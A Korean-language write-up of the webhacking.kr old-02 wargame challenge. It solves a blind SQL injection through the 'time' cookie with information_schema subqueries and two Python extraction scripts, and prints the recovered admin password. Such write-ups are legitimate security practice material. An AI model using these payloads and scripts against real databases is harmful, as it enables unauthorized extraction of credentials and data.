webhacking.kr old 2번(blind sql injection)

페이지 소스보기

 

/admin.php

 

쿠키에 0 입력시

 

1

 

2

---

blind sql injection 문제인지 파악하기

(기존 쿠키 그대로) and 1=1

 

(기존 쿠키 그대로) and 1=2

 

(기존 쿠키 그대로) and 3

 

=> 참이면 초에 1, 거짓이면 초에 0가 출력되는 듯

---

테이블 개수 확인

(select count(table_name) from information_schema.tables where table_schema=database())

-> 현재 DB에서 테이블의 개수는 2개구나

---

테이블 이름 길이 확인

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)

-> 첫 번째 table name length는 13

 

 

(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)

-> 두 번째 table name length는 3

---

테이블 이름 확인

* 두 번째 테이블 이름 확인

(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 1,1)

=> 09:01:48   09:01:51   09:01:43

=> 108, 111, 103 => "log"

 

* 첫 번째 테이블 이름 확인

code from https://wisdom-990629.tistory.com/entry/Webhackingkr-old-02%EB%B2%88-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4

import requests

def calculate_time(response):
	value=0
	value+=60*int(response.text[20])
	value+=10*int(response.text[22])
	value+=int(response.text[23])
	return value

url='https://webhacking.kr/challenge/web-02/'

cookies={
	"PHPSESSID": ""
}

cookies['time']="(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)"
response=requests.get(url, cookies=cookies)
t_name_length=int(calculate_time(response))

t_name=""
for a in range(1, t_name_length+1):
	cookies['time']="(select ascii(substring(table_name, {}, 1)) from information_schema.tables where table_schema=database() limit 0, 1)".format(a)
	response=requests.get(url, cookies=cookies)
	t_name+=chr(calculate_time(response))

print(t_name)

admin_area_pw

---

admin_area_pw의 column 개수 구하기

(select count(column_name) from information_schema.columns where table_name='admin_area_pw')

=> 1

 

column name length 구하기

(select length(column_name) from information_schema.columns where table_name='admin_area_pw')

=> 2

 

column name 구하기

(select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name='admin_area_pw' limit 0,1)

=> 09:01:52  09:01:59 => 112  119

=> pw

---

pw column의 데이터 구하기

(길이까지 구하기 귀찮으니까...)

import requests

# To calculate the value
def calculate_time(response):
	value=0
	value+=60*int(response.text[20])
	value+=10*int(response.text[22])
	value+=int(response.text[23])
	return value

url='https://webhacking.kr/challenge/web-02/'

cookies={
	"PHPSESSID": ""
}

result = ""

for a in range(1, 30):
    cookies['time']="(select ascii(substring(pw, {}, 1)) from admin_area_pw)".format(a)
    response=requests.get(url, cookies=cookies)
    result += chr(calculate_time(response))
    print(result)

kudos_to_beistlab

 

이걸 /admin.php에 입력하면 된다.